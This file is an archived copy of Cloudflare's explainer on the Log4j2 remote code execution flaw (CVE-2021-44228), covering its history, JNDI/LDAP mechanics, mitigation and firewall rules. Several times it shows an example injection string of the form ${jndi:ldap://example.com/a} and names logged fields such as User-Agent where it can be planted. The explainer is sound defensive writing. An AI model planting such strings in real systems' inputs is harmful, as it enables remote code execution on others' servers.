Files
nexus/sreweekly/markdown/300/06-inside-the-log4j2-vulnerability-cve-2021-44228.md
2026-09-12 17:23:01 +08:00

76 lines
9.4 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Inside the Log4j2 vulnerability (CVE-2021-44228)
- **期号**: SRE Weekly Issue #300(2021-12-12)
- **作者**: John Graham-Cumming — Cloudflare
- **链接**: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
## 简介
I know this is SRE Weekly and not Security Weekly, but this vulnerability is so big that I’m sure many of us triggered your incident response process, and some of us may have even had to take services down temporarily.
## 正文
# Inside the Log4j2 vulnerability (CVE-2021-44228)
This post is also available in [Deutsch](https://blog.cloudflare.com/de-de/inside-the-log4j2-vulnerability-cve-2021-44228/), [Français](https://blog.cloudflare.com/fr-fr/inside-the-log4j2-vulnerability-cve-2021-44228/), [日本語](https://blog.cloudflare.com/ja-jp/inside-the-log4j2-vulnerability-cve-2021-44228/), [한국어](https://blog.cloudflare.com/ko-kr/inside-the-log4j2-vulnerability-cve-2021-44228/), [繁體中文](https://blog.cloudflare.com/zh-tw/inside-the-log4j2-vulnerability-cve-2021-44228/), and [简体中文](https://blog.cloudflare.com/zh-cn/inside-the-log4j2-vulnerability-cve-2021-44228/).
![Inside the Log4j2 vulnerability (CVE-2021-44228)](https://blog.cloudflare.com/_image?href=https%3A%2F%2Fblog.cloudflare.com%2F_emdash%2Fapi%2Fmedia%2Ffile%2F01KW45MB93RAYX7D000C9T2CZS.png&w=1200&h=628&f=webp&fit=cover&position=center)
*In previous versions of this blog post slightly different mitigation techniques were recommended. The Apache Log4j project has updated their official guidance and we have updated this blog post in line with their recommendations*
Yesterday, December 9, 2021, a very serious vulnerability in the popular Java-based logging package [Log4j](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) was disclosed. This vulnerability allows an attacker to execute code on a remote server; a so-called [Remote Code Execution (RCE)](https://www.cloudflare.com/learning/security/what-is-remote-code-execution/). Because of the widespread use of Java and Log4j this is likely one of the most serious vulnerabilities on the Internet since both [Heartbleed](https://blog.cloudflare.com/tag/heartbleed/) and [ShellShock](https://blog.cloudflare.com/inside-shellshock/).
It is [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) and affects version 2 of Log4j between versions 2.0-beta-9 and 2.14.1. It is patched in 2.16.0.
In this post we explain the history of this vulnerability, how it was introduced, how Cloudflare is protecting our clients. [Details of actual attempted exploitation](https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/) we are seeing blocked by our firewall service are in a separate blog post.
Cloudflare uses some Java-based software and our teams worked to ensure that our systems were not vulnerable or that this vulnerability was mitigated. In parallel, we rolled out firewall rules to protect our customers.
But, if you work for a company that is using Java-based software that uses Log4j you should immediately read the section on how to mitigate and protect your systems before reading the rest.
### How to Mitigate CVE-2021-44228
Implement one of the following mitigation techniques: Java 8 (or later) users should upgrade to release 2.16.0. Java 7 users should upgrade to release 2.12.2.
Otherwise, in any release other than 2.16.0, you may remove the `JndiLookup` class from the `classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`
### Vulnerability History
In 2013, in [version 2.0-beta9](https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9), the Log4j package added the “JNDILookup plugin” in issue [LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313). To understand how that change creates a problem, it’s necessary to understand a little about [JNDI](https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface): Java Naming and Directory Interface.
JNDI has been present in Java since the late 1990s. It is a directory service that allows a Java program to find data (in the form of a Java object) through a directory. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.
For example, SPIs exist for the CORBA COS (Common Object Service), the Java RMI (Remote Method Interface) Registry and LDAP. LDAP is a very popular directory service (the Lightweight Directory Access Protocol) and is the primary focus of CVE-2021-44228 (although other SPIs could potentially also be used).
A Java program can use JNDI and LDAP together to find a Java object containing data that it might need. For example, in the standard Java documentation there’s an [example](https://docs.oracle.com/javase/jndi/tutorial/getStarted/examples/directory.html) that talks to an LDAP server to retrieve attributes from an object. It uses the URL `ldap://localhost:389/o=JNDITutorial` to find the JNDITutorial object from an LDAP server running on the same machine (localhost) on port 389 and goes on to read attributes from it.
As the tutorial says “*If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL*”. Thus the LDAP server could be running on a different machine and potentially anywhere on the Internet. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.
That’s the basics of JNDI and LDAP; a useful part of the Java ecosystem.
But in the case of Log4j an attacker can control the LDAP URL by causing Log4j to try to write a string like `${jndi:ldap://example.com/a}`. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object.
This happens because Log4j contains [special syntax](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) in the form `${prefix:name}` where `prefix` is one of a number of different [Lookups](https://logging.apache.org/log4j/2.x/manual/lookups.html) where `name` should be evaluated. For example, `${java:version}` is the current running version of Java.
[LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313) added a `jndi` Lookup as follows: “The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a ":" no prefix will be added.”
With a : present in the key, as in `${jndi:ldap://example.com/a}` there’s no prefix and the LDAP server is queried for the object. And these Lookups can be used in both the configuration of Log4j as well as when lines are logged.
So all an attacker has to do is find some input that gets logged and add something like  `${jndi:ldap://example.com/a}`. This could be a common HTTP header like `User-Agent` (that commonly gets logged) or perhaps a form parameter like `username` that might also be logged.
This is likely very common in Java-based Internet facing software that uses Log4j. More insidious is that non-Internet facing software that uses Java can also be exploitable as data gets passed from system to system.
For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses Log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.
![Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.](https://blog.cloudflare.com/_image?href=https%3A%2F%2Fblog.cloudflare.com%2F_emdash%2Fapi%2Fmedia%2Ffile%2F01KW46XAHY0VGS75ZSQE0Z5WJ5.png&w=715&h=191&f=webp&fit=cover&position=center)
Or imagine a Java-based billing system that logs when the customer's first name is not found. A malicious user might create an order with a first name that contains the exploit, and it might take multiple hops (and a lot of time) to make it from the web server, via a customer database and into the billing system where it finally executes.
And Java is used for many more systems than just those that are Internet facing. For example, it’s not hard to imagine a package handling system that scans QR codes on boxes, or a contactless door key both being vulnerable if they are written in Java and use Log4j. In one case a carefully crafted QR code might contain a postal address containing the exploit string; in the other a carefully programmed door key could contain the exploit and be logged by a system that keeps track of entries and exits.
And systems that do periodic work might pick up the exploit and log it later. So the exploit could lay dormant until some indexing, roll-up, or archive process written in Java inadvertently logs the bad string. Hours or even days later.
### Cloudflare Firewall Protection
Cloudflare rolled out protection for our customers using our [Firewall](https://www.cloudflare.com/waf/) in the form of rules that block the `jndi` Lookup in common locations in an HTTP request. This is detailed [here](https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/). We have continued to refine these rules as attackers have modified their exploits and will continue to do so.